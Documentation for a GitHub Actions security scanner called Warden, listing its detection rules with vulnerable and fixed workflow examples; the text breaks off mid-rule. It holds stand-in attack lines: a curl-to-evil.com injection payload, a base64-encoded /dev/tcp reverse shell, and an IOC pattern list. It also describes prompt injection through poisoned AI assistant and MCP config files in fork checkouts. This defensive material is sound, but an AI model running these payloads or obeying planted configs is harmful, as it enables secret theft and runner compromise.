Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Introduction

Warden is a static analysis tool for GitHub Actions workflows. It scans .github/workflows/*.yml files and reports security vulnerabilities before they reach production.

What Warden Does

GitHub Actions workflows run with elevated privileges, access secrets, and interact with your supply chain. Misconfigured workflows are a leading source of CI/CD security incidents. Warden catches these issues at the source.

Warden detects:

  • Script injection via untrusted github.event inputs interpolated into run: steps
  • Dangerous trigger configurations like pull_request_target combined with checkout of untrusted code
  • Supply chain attacks via unpinned actions, known-vulnerable actions, impostor commits, and runtime binary fetches
  • Permission and secret misuse including secrets in run blocks, exfiltration patterns, and debug logging
  • AI-specific risks like AI config poisoning via fork checkouts and MCP config injection
  • Steganographic payloads hidden via invisible Unicode characters or IOC patterns (reverse shells, C2 domains)
  • Integrity failures such as toJSON(secrets) exposure, credential leakage in artifacts, and insecure commands
  • Logic flaws including self-hosted runners on PRs, confused deputy attacks, cache poisoning, and spoofable bot checks

Rule Numbering

Rules are grouped by category using hundreds:

RangeCategory
100sInjection
200sTriggers
300sSupply Chain
400sPermissions
500sAI Security
600sSteganography
700sIntegrity
800sLogic

Severity is encoded in the tens/units digit of the rule number. See Rules Overview for details.

Binary and Crate

  • Binary name: warden
  • Crate name: wardenscan
  • Language: Rust
  • Total rules: 53

Source

Warden is open source. Contributions and rule proposals are welcome via GitHub issues.

Installation

cargo install

Requires Rust 1.70 or later. Install via crates.io:

cargo install wardenscan

The binary is installed as warden in ~/.cargo/bin/. Ensure that directory is in your PATH.

Verify the installation:

warden --version

Pre-built Binaries

Pre-built binaries for Linux (x86_64, aarch64), macOS (x86_64, Apple Silicon), and Windows (x86_64) are available on the GitHub Releases page.

Download, extract, and place the binary in a directory on your PATH:

# Linux x86_64 example
curl -Lo warden.tar.gz https://github.com/projectwarden/warden/releases/latest/download/warden-linux-x86_64.tar.gz
tar xf warden.tar.gz
sudo mv warden /usr/local/bin/

Docker

A minimal Docker image is available:

docker pull ghcr.io/projectwarden/warden:latest

Run a scan by mounting your repository:

docker run --rm -v "$PWD:/repo" ghcr.io/projectwarden/warden:latest scan /repo

To output SARIF:

docker run --rm -v "$PWD:/repo" ghcr.io/projectwarden/warden:latest scan /repo --format sarif > results.sarif

GitHub Action

Add warden to any workflow to scan on every push and pull request. See the GitHub Action guide for full configuration.

- name: Run warden
  uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
  with:
    path: .github/workflows
    fail-on: high

Updating

cargo install wardenscan --force

Or pull the latest Docker image:

docker pull ghcr.io/projectwarden/warden:latest

Quick Start

Three commands cover the core workflow.

1. Scan a repository

warden scan /path/to/repo

Warden walks .github/workflows/ and reports findings to stdout in text format. Exit code is non-zero when any finding meets or exceeds the configured threshold.

WRD-101 [CRITICAL] script-injection: Unsanitized github.event.pull_request.title in run step
  File: .github/workflows/ci.yml
  Line: 42
  Step: Build and test

Scan only a specific workflow file:

warden scan .github/workflows/ci.yml

Output as SARIF (for GitHub Code Scanning upload):

warden scan /path/to/repo --format sarif -o results.sarif

2. Score a repository

warden score /path/to/repo

Produces an aggregate security score (0-100) based on finding severity and count. Useful for tracking improvement over time or enforcing a minimum score in CI.

Security Score: 74/100
  Critical: 0
  High:     2
  Medium:   5
  Low:      3

Set a failing threshold:

warden score /path/to/repo --min-score 80

3. List rules

warden rules

Lists all 53 detection rules with ID, severity, name, and a one-line description.

WRD-101  CRITICAL  script-injection                  Untrusted input interpolated into run step
WRD-110  HIGH      composite-input-injection         Composite action input interpolated in run step
...

Filter by category:

warden rules --category injection

Filter by severity:

warden rules --severity critical

Next Steps

Rules Overview

Warden includes 53 detection rules organized into eight categories. Rules are identified by a code prefixed with WRD-.

Rule Numbering

The hundreds digit indicates the category:

PrefixCategoryRules
1xxInjectionWRD-101, WRD-110 to WRD-113, WRD-120
2xxTriggersWRD-201 to WRD-203
3xxSupply ChainWRD-301, WRD-302, WRD-310, WRD-320 to WRD-327
4xxPermissionsWRD-420 to WRD-422, WRD-424
5xxAI SecurityWRD-510, WRD-511, WRD-520, WRD-521, WRD-525
6xxSteganographyWRD-601, WRD-602
7xxIntegrityWRD-701, WRD-710 to WRD-714, WRD-720
8xxLogicWRD-801, WRD-810 to WRD-812, WRD-820 to WRD-828, WRD-831, WRD-833

Severity Encoding

Severity is encoded in the last two digits of the rule number:

Last two digitsSeverity
X01 - X09Critical
X10 - X19High
X20 - X29Medium
X30 - X39Low

Examples:

  • WRD-101: Injection, Critical (01)
  • WRD-110: Injection, High (10)
  • WRD-320: Supply Chain, Medium (20) // scanner promotes this to High when calculating fail-on threshold
  • WRD-831: Logic, Low (31)

Severity Definitions

Critical - Direct code execution, secret exfiltration, or full repository compromise possible. Fix immediately. Block merges.

High - Significant attack surface with likely exploitability under common conditions. Fix before merge.

Medium - Increased risk that requires specific conditions to exploit, or defense-in-depth concern. Fix in near term.

Low - Minor hardening gap, informational, or best-practice deviation. Address when convenient.

Suppressing Rules

Suppress rules globally via .warden.toml in the repository root (or any parent directory of the scan target). The config file has just two fields:

# Suppress specific rules
disabled_rules = ["WRD-710", "WRD-826"]

# Override severities
[severity_overrides]
"WRD-322" = "low"

disabled_rules removes those rule IDs from every scan. There is no per-file suppression and no category-level toggle in v1.0.

Custom Severity Overrides

Use the [severity_overrides] table to reclassify a rule’s findings before the --fail-on threshold is applied. Severity values must be one of critical, high, medium, or low:

[severity_overrides]
"WRD-525" = "high"
"WRD-720" = "low"

Injection Rules (100s)

Script injection occurs when untrusted data from github.event or other external sources is interpolated directly into run: steps, environment variables, or action inputs. An attacker who controls the injected value can execute arbitrary shell commands in the runner.


WRD-101: Expression Injection

Severity: Critical

What it detects: Direct interpolation of attacker-controlled github.event.* and github.head_ref expressions inside run: blocks using ${{ ... }} syntax. Covers a broad set of tainted sources including issue titles, PR bodies, comment bodies, commit messages, discussion content, and head ref.

Vulnerable:

- name: Print PR title
  run: echo "Title: ${{ github.event.pull_request.title }}"

An attacker opens a PR titled "; curl https://evil.com/exfil | bash; echo " to execute arbitrary commands.

Remediation: Assign the value to an environment variable and reference it in the shell. The runner sanitizes values passed through env:.

- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

WRD-110: Composite Action Input Injection

Severity: High

What it detects: ${{ inputs.* }} expressions interpolated in run: blocks of composite actions (action.yml / action.yaml). When the action is consumed with attacker-controlled values, this enables command injection.

Vulnerable:

# action.yml
name: My Action
runs:
  using: composite
  steps:
    - run: echo "Processing ${{ inputs.user_name }}"
      shell: bash

Remediation: Use an environment variable instead of direct interpolation.

- env:
    USER_NAME: ${{ inputs.user_name }}
  run: echo "Processing $USER_NAME"
  shell: bash

WRD-111: Dispatch Input Injection

Severity: High

What it detects: workflow_dispatch or repository_dispatch inputs interpolated directly in run: blocks. Dispatch inputs can be controlled by any user with push access.

Vulnerable:

on:
  workflow_dispatch:
    inputs:
      deploy_target:
        type: string
jobs:
  deploy:
    steps:
      - run: ./deploy.sh ${{ inputs.deploy_target }}

Remediation: Pass dispatch inputs through environment variables.

- env:
    TARGET: ${{ inputs.deploy_target }}
  run: ./deploy.sh "$TARGET"

WRD-112: GITHUB_ENV/PATH Injection

Severity: High

What it detects: Writes to $GITHUB_ENV or $GITHUB_PATH in run: blocks. If the written value originates from attacker-controlled input, subsequent steps can be hijacked via environment variable or PATH manipulation.

Vulnerable:

- run: echo "TARGET=${{ github.event.inputs.target }}" >> $GITHUB_ENV

An attacker can inject newlines to set arbitrary environment variables including PATH or LD_PRELOAD.

Remediation: Validate and sanitize before writing to GITHUB_ENV. Prefer step outputs with explicit typing.

- env:
    INPUT_TARGET: ${{ github.event.inputs.target }}
  run: |
    if [[ "$INPUT_TARGET" =~ ^[a-zA-Z0-9_-]+$ ]]; then
      echo "TARGET=$INPUT_TARGET" >> $GITHUB_ENV
    fi

WRD-113: Tainted Reusable Workflow Inputs

Severity: High

What it detects: Attacker-controlled values (github.head_ref, github.event.pull_request.title, issue/comment bodies, etc.) passed as inputs to reusable workflows. If the called workflow interpolates them unsafely in a run: block, command injection is possible.

Vulnerable:

jobs:
  lint:
    uses: my-org/shared/.github/workflows/lint.yml@main
    with:
      branch: ${{ github.head_ref }}

Remediation: Sanitize or validate the value before passing it. Ensure the called workflow uses environment variables instead of direct interpolation.


WRD-120: Step Output Injection

Severity: Medium

What it detects: steps.*.outputs.* expressions interpolated in run: blocks. Step outputs may carry attacker-controlled data if a prior step set the output from tainted input.

Vulnerable:

- id: get-input
  run: echo "value=${{ github.event.pull_request.title }}" >> $GITHUB_OUTPUT
- run: do-something ${{ steps.get-input.outputs.value }}

Remediation: Pass step outputs through environment variables. Validate or sanitize outputs before use.

- env:
    INPUT_VAL: ${{ steps.get-input.outputs.value }}
  run: do-something "$INPUT_VAL"

Trigger Rules (200s)

Dangerous trigger configurations expose workflows to attacks from untrusted contributors. The pull_request_target event is particularly hazardous because it runs in the context of the base repository with full access to secrets, even when triggered by a fork.


WRD-201: Dangerous Fork Checkout

Severity: Critical

What it detects: A workflow triggered by pull_request_target that checks out the pull request’s head code (via ref: ${{ github.event.pull_request.head.sha }} or github.head_ref), combining privileged execution context with attacker-controlled code.

Vulnerable:

on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

This pattern is known as a “pwn request.” An attacker submits a PR that modifies npm test or package.json scripts and gains code execution with the base repository’s secrets.

Remediation: Use pull_request instead of pull_request_target, or avoid checking out untrusted code. If checkout is necessary, do not run any build/test commands on the checked-out code.

# Unprivileged workflow: runs fork code, no secrets
on: pull_request
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - run: npm install && npm test

WRD-202: Build Tool Execution on Untrusted Code

Severity: Critical

What it detects: A pull_request_target workflow that checks out the PR head and then executes build tools (npm, pip, cargo, make, yarn, gradle, mvn, go, poetry, etc.) on the untrusted code. This is a more specific variant of WRD-201 that looks for actual build commands.

Vulnerable:

on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: npm install && npm test

An attacker can modify build scripts, package.json lifecycle hooks, or Makefile targets in their fork to execute arbitrary code with elevated privileges.

Remediation: Split into two workflows. Run build tools only in unprivileged pull_request workflows. Use workflow_run for privileged operations that do not run fork code.


WRD-203: Cross-Workflow Privilege Escalation

Severity: Critical

What it detects: A workflow_run-triggered workflow with write permissions or that downloads artifacts. If the producing workflow is triggered by pull_request, an attacker can poison artifacts in a fork PR to escalate privileges.

Vulnerable:

on:
  workflow_run:
    workflows: ["CI"]
    types: [completed]

permissions:
  contents: write

jobs:
  publish:
    steps:
      - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c  # v8.0.1
        with:
          run-id: ${{ github.event.workflow_run.id }}
      - run: ./deploy.sh $(cat artifact/target.txt)

Remediation: Minimize permissions on workflow_run workflows. Validate artifact integrity before use. Check github.event.workflow_run.conclusion and fork status before processing.

jobs:
  publish:
    if: github.event.workflow_run.conclusion == 'success'
    steps:
      - name: Check workflow origin
        run: |
          if [[ "${{ github.event.workflow_run.head_repository.fork }}" == "true" ]]; then
            echo "Refusing artifact from fork" && exit 1
          fi

Supply Chain Rules (300s)

Supply chain attacks target the actions and tools a workflow depends on. OIDC trust boundaries, known-vulnerable actions, mutable references, and unverified third-party code are the primary attack surfaces.


WRD-301: OIDC Trust Boundary Violation

Severity: Critical

What it detects: id-token: write permission combined with external triggers (pull_request_target, workflow_run, issue_comment, issues, discussion_comment, repository_dispatch). An attacker who can trigger the workflow may obtain OIDC tokens to access cloud resources (AWS, GCP, Azure) configured to trust the repository.

Vulnerable:

on: pull_request_target

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    steps:
      - uses: aws-actions/configure-aws-credentials@ec61189d14ec14c8efccab744f656cffd0e33f37  # v6.1.0

Remediation: Restrict OIDC token permissions to workflows triggered only by trusted events (push, release). Add subject claim filters in your cloud provider’s OIDC configuration.


WRD-302: Known Vulnerable Action

Severity: Critical

What it detects: Usage of GitHub Actions with known security vulnerabilities, including compromised actions (tj-actions/changed-files pre-v45, reviewdog supply chain attack), deprecated actions with EOL runtimes (actions/upload-artifact@v1/v2, github/codeql-action@v2), and other known-bad versions.

Vulnerable:

- uses: tj-actions/changed-files@v39
- uses: actions/upload-artifact@v2
- uses: github/codeql-action/analyze@v2

Remediation: Update to patched versions or pin to verified SHAs after the fix. Check action repositories for security advisories.


WRD-310: Impostor Commit

Severity: High

What it detects: Actions pinned to commit SHAs that appear suspicious: truncated SHAs (not exactly 40 hex characters), all-zero SHAs, or placeholder patterns. Impostor commits can be pushed to a repository via its fork and may not belong to any branch or tag in the original repository.

Vulnerable:

- uses: some-org/some-action@abcdef1

Remediation: Use the full 40-character commit SHA. Verify the commit exists on the default branch or a tagged release of the action repository.


WRD-320: Unpinned Actions

Severity: Medium (promoted to High for third-party actions)

What it detects: Actions referenced by mutable tags (e.g., @v1, @v2.3) rather than a full-length commit SHA. Tag contents can change without notice. Third-party actions are promoted to high severity; GitHub-owned actions (actions/*, github/*) remain medium.

Vulnerable:

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
- uses: some-org/some-action@v2

Remediation: Pin every action to a specific commit SHA. Use a comment to document the version.

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
- uses: some-org/some-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2  # v2.1.0

WRD-321: Archived Action Reference

Severity: Medium

What it detects: References to GitHub Actions from known archived or deprecated repositories (e.g., actions/create-release, actions-rs/toolchain, actions-rs/cargo). Archived actions no longer receive security patches.

Vulnerable:

- uses: actions-rs/toolchain@v1

Remediation: Replace with an actively maintained alternative. Check the repository README for migration guidance.


WRD-322: Stale Action SHA Pin

Severity: Medium

What it detects: Actions pinned to a SHA without a version comment (e.g., # v4.1.0). Without a comment, it is difficult to tell which release the SHA corresponds to or whether the pin is outdated.

Vulnerable:

- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

Remediation: Add a version comment after the SHA pin for auditability and easier Dependabot/Renovate reviews.

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2

WRD-323: Ref Version Mismatch

Severity: Medium

What it detects: Actions where the tag ref disagrees with the inline version comment. For example, @v3 # v4 indicates a copy-paste error or partially completed version bump.

Vulnerable:

- uses: actions/checkout@v3  # v4.0.0

Remediation: Update the comment to match the actual ref, or update the ref to match the intended version.


WRD-324: Ref Confusion

Severity: Medium

What it detects: Actions pinned to branch names (main, master, develop, dev, trunk, HEAD) that are mutable and change with every commit. Builds using branch refs are non-reproducible and vulnerable to supply chain attacks.

Vulnerable:

- uses: some-org/some-action@main

Remediation: Pin to a full commit SHA or version tag. Use Dependabot or Renovate to keep pins current.


WRD-325: Runtime Binary Fetch

Severity: Medium

What it detects: Actions known to download external binaries at runtime (security scanners like Trivy, Snyk, Bearer, Semgrep, and language setup actions). Even if the action reference is SHA-pinned, the downloaded binary is not verified against the pin. A compromised upstream release can execute malicious code.

Vulnerable:

- uses: aquasecurity/trivy-action@a1b2c3d4...
- uses: actions/setup-node@a1b2c3d4...

Remediation: Consider using container-based alternatives or verifying downloaded binaries against known checksums. For setup actions, specify a version input so the setup is intentional.


WRD-326: Forbidden Action Uses

Severity: High (some entries are Medium, see below)

What it detects: Action references that match warden’s hardcoded denylist of known-bad or end-of-life action versions. The denylist currently includes:

  • tj-actions/changed-files@v1 through @v44 (supply-chain compromise) // high
  • reviewdog/action-setup@v1 (compromised range) // high
  • actions/checkout@v1 and @v2 (EOL) // medium
  • dawidd6/action-download-artifact@v1 through @v5 (pre-patch) // medium
  • aquasecurity/trivy-action@0.x and @master (pre-fix) // medium

The line number reported by the finding always points at the matching uses: line in the workflow.

Vulnerable:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - uses: tj-actions/changed-files@v44                                 # WRD-326
      - uses: reviewdog/action-setup@v1                                    # WRD-326
      - uses: actions/checkout@v1                                          # WRD-326

Remediation: Pin to a known-good commit SHA after the fix, upgrade to a maintained successor (e.g. actions/checkout@v4 or later for the EOL entries), or migrate to an alternative action. Re-running warden scan after the bump verifies the denylist match has cleared.

- uses: tj-actions/changed-files@cbda684547adc8c052d50711417e5b03b5ea3247  # v46.0.5
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd          # v6.0.2

WRD-327: Composite Action Internal Unpinned References

Severity: High

What it detects: A workflow references a composite or Docker action at a full 40-character commit SHA, but that upstream action’s own action.yml at that commit contains uses: steps (or a docker:// image) that are not themselves SHA-pinned. SHA-pinning the outer action does not protect against tag mutation in its internal dependencies, so a compromise of an inner actions/checkout@v4 (or similar) silently propagates into every downstream consumer.

Warden fetches the action.yml for every SHA-pinned uses: in the workflow via the GitHub Contents API (action.yml first, then action.yaml), walks runs.steps[*].uses for composite actions or runs.image for Docker actions, and flags any reference whose ref is not a 40-char hex SHA (or, for Docker images, does not contain @sha256:). The scan caches results per {owner}/{repo}@{sha} and caps at 10 distinct outer actions per workflow so large monorepos do not hammer the GitHub API. Without a GITHUB_TOKEN the rule still runs but is bound by the 60 req/hr unauthenticated quota; network errors are silently skipped (set WARDEN_DEBUG=1 to see them on stderr).

The line number reported by the finding always points at the outer uses: line in your workflow, since that is the only file you control.

Vulnerable outer workflow (you):

# .github/workflows/ci.yml
- uses: myorg/myaction@4f86b85a2eac07a7d4ec52a29d1c3c9c3f5f5f5f  # looks correctly pinned

Vulnerable upstream myorg/myaction/action.yml at that SHA:

name: myaction
runs:
  using: composite
  steps:
    - uses: actions/checkout@v4       # unpinned, tag-mutable
    - uses: third-party/setup@main    # unpinned, branch-ref

Remediation: Either fork myorg/myaction, pin all of its internal actions to SHAs, and use your fork, or switch to an alternative action whose action.yml only references SHA-pinned dependencies. Upstream maintainers can address this by pinning all internal uses: references in their action.yml.

Permissions Rules (400s)

These rules detect patterns where secrets or sensitive credentials are exposed through unsafe workflow configurations.


WRD-420: Secrets in Run Blocks

Severity: Medium

What it detects: ${{ secrets.* }} expressions interpolated directly in run: blocks instead of being passed through environment variables. Secrets in shell commands can leak through process listings, shell history, and error messages.

Vulnerable:

- run: curl -H "Authorization: Bearer ${{ secrets.API_KEY }}" https://api.example.com

Remediation: Pass secrets through step-level environment variables.

- env:
    API_KEY: ${{ secrets.API_KEY }}
  run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com

WRD-421: Network Exfiltration Risk

Severity: Medium

What it detects: curl, wget, nc, or ncat commands in run: blocks that also reference secrets or credential-like environment variables. This pattern can indicate data exfiltration.

Vulnerable:

- env:
    TOKEN: ${{ secrets.DEPLOY_TOKEN }}
  run: |
    curl -d "token=$TOKEN" https://webhook.example.com/notify

Remediation: Review whether the network command needs access to secrets. Consider using dedicated actions for API calls instead of raw curl/wget with secrets.


WRD-422: Debug Logging Enabled

Severity: Medium

What it detects: ACTIONS_RUNNER_DEBUG or ACTIONS_STEP_DEBUG set to true in workflow environment variables. Debug logging can expose secrets and sensitive information in workflow logs.

Vulnerable:

env:
  ACTIONS_STEP_DEBUG: true

Remediation: Remove debug logging configuration from committed workflow files. Use repository-level debug settings only when needed for troubleshooting.


WRD-424: Secrets Used Outside Environment Scope

Severity: Medium

What it detects: A job references one or more secrets (other than the auto-injected GITHUB_TOKEN) but does not declare an environment:. Without an environment, secret access is not gated by deployment protection rules, required reviewers, or wait timers, so any path that triggers the workflow gets the secret.

The check walks each job in the workflow’s jobs: mapping, skips jobs that already declare environment:, and serializes the rest looking for secrets.<NAME> references. The first non-GITHUB_TOKEN secret it finds in an unprotected job emits the finding.

Vulnerable:

on: push

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - name: Push to PyPI
        env:
          PYPI_TOKEN: ${{ secrets.PYPI_API_TOKEN }}
        run: twine upload --username __token__ --password "$PYPI_TOKEN" dist/*

Remediation: Add environment: to the job and protect that environment with required reviewers, wait timers, or branch restrictions in the repository settings. This forces secret access through the deployment protection rules.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production   # gated by required reviewers
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - name: Push to PyPI
        env:
          PYPI_TOKEN: ${{ secrets.PYPI_API_TOKEN }}
        run: twine upload --username __token__ --password "$PYPI_TOKEN" dist/*

AI Security Rules (500s)

These rules cover AI-related risks and CI/CD automation hygiene. The 510s address AI configuration poisoning via fork-checkout in privileged workflow contexts. The 520s cover Dependabot security and trusted publishing patterns.


WRD-510: AI Config Poisoning

Severity: High

What it detects: Privileged-context workflows (pull_request_target, workflow_run, or issue_comment) that check out fork code and either invoke an AI coding assistant or reference an AI assistant’s configuration file by path. A malicious PR can plant or modify any of these files; when the privileged workflow runs an AI tool, the tool reads the attacker-controlled file as trusted instructions and the attacker effectively controls the model running in your CI environment.

Tracked AI configuration file paths (verified against upstream docs as of April 2026):

ToolFiles / directories
Claude Code (Anthropic)CLAUDE.md, CLAUDE.local.md, .claude/CLAUDE.md, .claude/rules/, .claude/
Cursor.cursorrules, .cursorignore, .cursorindexingignore, .cursor/rules/, .cursor/
GitHub Copilot (VS Code).github/copilot-instructions.md, copilot-instructions.md, .github/instructions/, .github/prompts/
Cross-tool agents standardAGENTS.md, agents.md (read by Codex CLI, Cursor, Windsurf, Aider, Cline, VS Code Copilot)
Windsurf (Codeium).windsurf/rules/, .windsurf/, .windsurfrules (legacy)
Cline.clinerules/, .clinerules
Aider.aider.conf.yml, .aider.model.settings.yml, .aider.model.metadata.json, CONVENTIONS.md
Continue.continue/rules/, .continue/
Gemini CLI (Google)GEMINI.md, .gemini/GEMINI.md, .gemini/
OpenAI Codex CLI.codex/, AGENTS.md

In addition, the rule fires whenever a privileged + fork-checkout workflow invokes any of these tools by name even if no specific config file is referenced in the YAML, since the tool will discover and read the config files at runtime from its working directory.

Vulnerable:

on: pull_request_target  # also workflow_run and issue_comment

jobs:
  review:
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - uses: some-org/ai-review-action@v1

Remediation: Do not process AI config files from untrusted fork checkouts. Run the AI step in a separate unprivileged pull_request workflow, or remove all AI configuration files from the checked-out tree before invoking the AI.


WRD-511: MCP Config Injection

Severity: High

What it detects: Privileged-context workflows (pull_request_target, workflow_run, or issue_comment) that check out fork code and reference Model Context Protocol (MCP) server configuration. A malicious PR can plant a .mcp.json (or one of its many editor-specific filename variants) that redirects AI tool calls to attacker-controlled MCP servers. Those servers can then exfiltrate secrets passed through tool calls, return manipulated results that introduce backdoors into AI-generated code, or execute arbitrary commands on the runner.

Tracked MCP configuration file paths (verified against upstream docs as of April 2026):

SourceFiles
Generic / spec-style.mcp.json, mcp.json, .mcp.yaml, .mcp.yml, mcp_config.json, mcp-config.json, mcp_servers.json, mcp-servers.json
VS Code.vscode/mcp.json
Cursor.cursor/mcp.json
Claude Code / Claude Desktop.claude/mcp.json, .claude/mcp_servers.json, claude_desktop_config.json
Continue.continue/mcpServers/, .continue/config.yaml, .continue/config.json
Clinecline_mcp_settings.json

Vulnerable:

on: pull_request_target  # also workflow_run and issue_comment

jobs:
  analyze:
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: mcp-tool analyze .

Remediation: Do not process MCP configurations from untrusted checkouts. Use pinned, repository-owned MCP configs from the base branch, or maintain MCP server definitions outside the repository entirely (e.g. user-level ~/.codeium/windsurf/mcp_config.json or organization-managed config).


WRD-520: Dependabot Cooldown

Severity: Medium

What it detects: Dependabot configurations (dependabot.yml) with daily update schedules but no dependency grouping. This can produce a high volume of individual PRs, overwhelming reviewers and CI resources.

Vulnerable:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: daily

Remediation: Add dependency groups to batch related updates into fewer PRs, or reduce the schedule interval to weekly.

updates:
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: daily
    groups:
      production-dependencies:
        patterns: ['*']

WRD-521: Dependabot Insecure Execution

Severity: Medium

What it detects: Dependabot-related workflows that use pull_request_target and check out the PR head ref. With pull_request_target, the workflow runs with write permissions and access to secrets. Checking out untrusted PR code in this context allows arbitrary code execution with elevated privileges.

Vulnerable:

on: pull_request_target

jobs:
  auto-merge:
    if: github.actor == 'dependabot[bot]'
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

Remediation: Avoid checking out the PR head in pull_request_target workflows. If you must, run untrusted code in a separate unprivileged workflow triggered by pull_request instead.


WRD-525: Use Trusted Publishing

Severity: Medium

What it detects: PyPI publish workflows using stored API tokens (PYPI_TOKEN, PYPI_API_TOKEN, PYPI_PASSWORD) or npm publish workflows using NPM_TOKEN instead of OIDC-based trusted publishing. Trusted publishing is more secure because it eliminates stored secrets entirely.

Vulnerable:

- uses: pypa/gh-action-pypi-publish@release/v1
  with:
    password: ${{ secrets.PYPI_TOKEN }}

Remediation: Configure PyPI Trusted Publishing and add id-token: write to permissions. Remove stored API token secrets.

permissions:
  id-token: write

steps:
  - uses: pypa/gh-action-pypi-publish@release/v1
    # No password needed with Trusted Publishing

See PyPI Trusted Publishers docs for setup.

Steganography Rules (600s)

Steganographic techniques can be used to hide malicious payloads or exfiltration channels inside GitHub Actions workflow files. These rules detect invisible Unicode characters and indicators of compromise.


WRD-601: Unicode Steganography

Severity: Critical

What it detects: Invisible Unicode characters embedded in workflow YAML files. These can hide malicious commands, alter string comparisons, or use bidirectional text overrides to disguise code. Detected characters include:

  • U+200B (Zero Width Space)
  • U+200C/D (Zero Width Non-Joiner/Joiner)
  • U+200E/F (Left-to-Right / Right-to-Left Mark)
  • U+202A-202E (Bidi Embedding/Override characters)
  • U+2060-2064 (Invisible operators)
  • U+FEFF (BOM / Zero Width No-Break Space) – except at file start
  • U+00AD (Soft Hyphen)
  • U+034F (Combining Grapheme Joiner)
  • U+061C (Arabic Letter Mark)
  • U+2066-2069 (Bidi Isolate characters)
  • U+FE00 (Variation Selector)
  • U+180E (Mongolian Vowel Separator)

Vulnerable:

# A step name containing RLO character to disguise what follows
- name: Build‮hs.suoicilam
  run: malicious.sh

Remediation: Enforce a CI check that rejects workflow files containing non-ASCII invisible characters. Use warden scan or a linter in a pre-commit hook. A BOM at position 0 is allowed.


WRD-602: Indicator of Compromise

Severity: Critical

What it detects: Suspicious patterns in workflow YAML that indicate malicious activity. Detected patterns include:

  • eval combined with base64 encoding
  • base64 -d / base64 --decode operations
  • Netcat listeners (nc -l, ncat -l)
  • Bash /dev/tcp/ reverse shells
  • Named pipe + netcat (mkfifo + nc)
  • Python one-liners with socket/subprocess
  • curl | bash and wget | sh patterns
  • Tunneling services (ngrok, localtunnel, serveo, bore.pub)
  • Known paste/file sharing services (pastebin.com, transfer.sh)
  • Known C2/callback domains (burpcollaborator.net, interact.sh, oastify.com)
  • Download-and-execute (chmod +x + ./)

Vulnerable:

- run: echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=" | base64 -d | bash

The decoded value is bash -i >& /dev/tcp/evil.com/4444 0>&1 (a reverse shell).

Remediation: Remove the suspicious pattern immediately. Audit any secrets or tokens that may have been exposed in previous runs. Never decode and execute base64 strings at runtime in workflows.

Integrity Rules (700s)

Integrity rules cover secret exposure, credential leakage, command safety, and Docker image pinning. These rules ensure that workflow configurations do not inadvertently compromise secrets or weaken the build pipeline.


WRD-701: toJSON Secrets Exposure

Severity: Critical

What it detects: toJSON(secrets) or secrets.* patterns that expose the entire secrets context. If this value reaches logs, artifacts, or outputs, all repository secrets are compromised.

Vulnerable:

- run: echo '${{ toJSON(secrets) }}'

Remediation: Reference individual secrets by name (e.g., secrets.MY_TOKEN) instead of dumping the entire secrets context.


WRD-710: Artipacked

Severity: High

What it detects: actions/checkout without persist-credentials: false in workflows that also upload artifacts. When persist-credentials is true (the default), the GITHUB_TOKEN is stored in .git/config. If the .git directory is included in an uploaded artifact, the token can be extracted.

Vulnerable:

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
  # persist-credentials defaults to true
- run: make build
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f  # v7.0.0
  with:
    name: build-output
    path: .

Remediation: Add persist-credentials: false to the checkout step, or ensure the .git directory is excluded from uploaded artifacts.

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
  with:
    persist-credentials: false

WRD-711: Secrets Inherit

Severity: High

What it detects: secrets: inherit in reusable workflow calls, which passes every secret in the calling repository to the called workflow. If that workflow is external or broadly scoped, secrets may be exposed unnecessarily.

Vulnerable:

jobs:
  build:
